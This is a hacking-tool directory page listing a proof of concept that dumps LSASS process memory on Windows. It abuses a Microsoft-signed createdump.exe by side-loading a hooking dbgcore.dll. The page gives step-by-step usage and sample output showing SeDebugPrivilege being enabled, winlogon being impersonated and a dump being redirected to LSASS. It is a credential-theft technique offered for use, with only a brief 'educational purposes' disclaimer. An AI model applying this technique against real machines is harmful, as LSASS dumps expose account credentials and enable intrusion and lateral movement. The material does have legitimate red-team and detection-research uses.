Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
createdump — Leverage WindowsApp createdump tool to obtain an lsass dump | Kitploit
Tools/GitHubGitHub/rweijnen/createdump
Password AttacksImpersonation ToolsPost-ExploitationRed Teaming
GitHubrweijnen/createdump

createdump

Leverage WindowsApp createdump tool to obtain an lsass dump

View Repository
151201 year agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Windows App Windows App LSASS Dump - Proof of Concept

This project demonstrates how to dump the LSASS process using the createdump.exe tool, a Microsoft signed executable, from the Windows App, leveraging a custom hook to enable process access to LSASS.

root@kitploit:~
Get-AuthentiCodeSignature -FilePath (Join-Path -Path (Get-AppxPackage -Name *Windows365*).InstallLocation -ChildPath 'wnc\createdump.exe')

    Directory: C:\Program Files\WindowsApps\MicrosoftCorporationII.Windows365_2.0.285.0_x64__8wekyb3d8bbwe\wnc

SignerCertificate                         Status                                       StatusMessage                               Path
-----------------                         ------                                       -------------                               ----
C2048FB509F1C37A8C3E9EC6648118458AA01780  Valid                                        Signature verified.                         createdump.exe

How to Use

  1. Copy createdump from WindowsApp folder to a folder of choice (copy C:\Program Files\WindowsApps\MicrosoftCorporationII.Windows365_2.0.285.0_x64__8wekyb3d8bbwe\wnc\createdump.exe .)
  2. place dbgcore.dll from this repo in the same folder
  3. execute createdump (optionally provide parameters)

note: needs admin rights.

Output should be something like this:

root@kitploit:~
c:\work\_createdump>createdump.exe
WindowsApp PoC by Remko Weijnen
(ab)uses createdump tool from "The WindowsApp" to create an LSASS dump

Successfully hooked OpenProcess
OpenProcess called
Attempting to enable SeDebugPrivilege...
SeDebugPrivilege successfully enabled!
Attempting to impersonate winlogon...
Successfully impersonated winlogon
[createdump] Writing minidump with heap for process 35828 to file C:\Users\me\AppData\Local\Temp\dump.35828.dmp
MiniDumpWriteDump called with:
  ProcessId: 35828
  hProcess: 0x0000000000000184
  hFile: 0x00000000000001BC
  DumpType: 0x41a25
ProcessId changed to LSASS (PID: 1512)
Loaded DbgHelp.dll from: C:\Windows\System32\DbgCore.dll
Calling original with:
  ProcessId: 1512
  hProcess: 0x0000000000000184
  hFile: 0x00000000000001BC
  DumpType: 0x41026
MiniDumpWriteDump result: Success
[createdump] Dump successfully written in 270ms
DLL unloading, hooks removed.

Disclaimer

This project is intended for educational purposes only. Misuse of this tool could violate privacy and security policies.

Download Tool